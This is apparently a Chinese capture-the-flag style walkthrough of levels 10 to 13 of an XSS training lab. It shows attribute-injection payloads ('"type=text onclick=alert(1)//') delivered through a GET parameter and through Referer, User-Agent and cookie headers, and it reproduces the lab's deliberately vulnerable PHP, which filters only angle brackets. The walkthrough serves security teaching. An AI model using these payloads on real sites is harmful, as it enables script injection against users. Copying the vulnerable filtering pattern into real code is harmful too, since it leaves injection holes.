第十关
先用<script>alert(xss)</script>
试试
这里发现一个隐藏的form表单,里面有3个隐藏的变量:t_link、t_history、t_sort
。
把三个参数都传进去试试看:
http://192.168.121.129/xss/level10.php?keyword=well done!&t_link=1&t_history=2&t_sort=3
发现t_sort可以传入参数,构造Payload:
t_sort=<script>alert(/xss/)</script>
尖括号被过滤掉了,尝试一下用onclick弹窗。
Payload:
http://192.168.121.129/xss/level10.php?keyword=well done!&t_sort="type=text οnclick=alert(1)//
因为输入框被隐藏了,得利用type="text"把输入框显示出来,这样才能点击输入框触发弹窗。
成功弹窗
后台关键代码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
这里把t_link、t_history、t_sort
三个变量都隐藏了,而且只有t_sort
可以接收参数,同时也把t_sort的尖括号过滤掉了。利用onclick
时件可以成功绕过。
第十一关
来到先查看一下前端代码,看它又出什么新花样
这里比上一关多了个变量,而且值还是上一关的URL,初步判断这是个referer,
还是先试一下上一关的方法先
估计后台直接在传入参数那实体化了。那就在这个新增加的参数那下手吧,利用OWASP ZAP截断代理,把Referer改成payload:
"type=text onclick=alert(1)//
成功绕过
后台关键代码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
这里用到了一个PHP预定义的超级全局变量$_SERVER
,这是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。
$_SERVER['HTTP_REFERER']
作用:引导用户代理到当前页的前一页的地址。
第十二关
先查看一下前端代码
这里把上一关的Referer改成了User-Agent
用OWASP ZAP截断代理,把User-Agent改成payload:"type=text onclick=alert(1)//
成功绕过
后台关键代码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
这里用了HTTP_USER_AGENT
来获取用户的相关信息的,包括用户使用的浏览器,操作系统等信息,把这段信息改成payload即可绕过。
第十三关
这关的新变量是t_cook
了,看名字有可能是cookie
用OWASP ZAP截断代理,把cookie改成payload:"type=text onclick=alert(1)//
没变化
仔细看一下原来还有个user=
,把payload加再user=后面
成功绕过
后台关键代码:
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
这里的$_COOKIE
变量用于取回 cookie 的值,$_COOKIE["user"]
的作用是取回名为 “user” 的 cookie 的值,因此,在user后面插入payload即可绕过。
总结
这几关都利用了隐藏表单,而且有多个隐藏变量。
绕过思路:
- 先测试一下哪些变量可以传参数
- 然后构造payload触发弹窗
- 如果是onclick或者 onmouseover时件得把隐藏的输入框显示出来
- 如果变量涉及到http报文的相关信息,可以利用代理软件拦截数据包,然后注入payload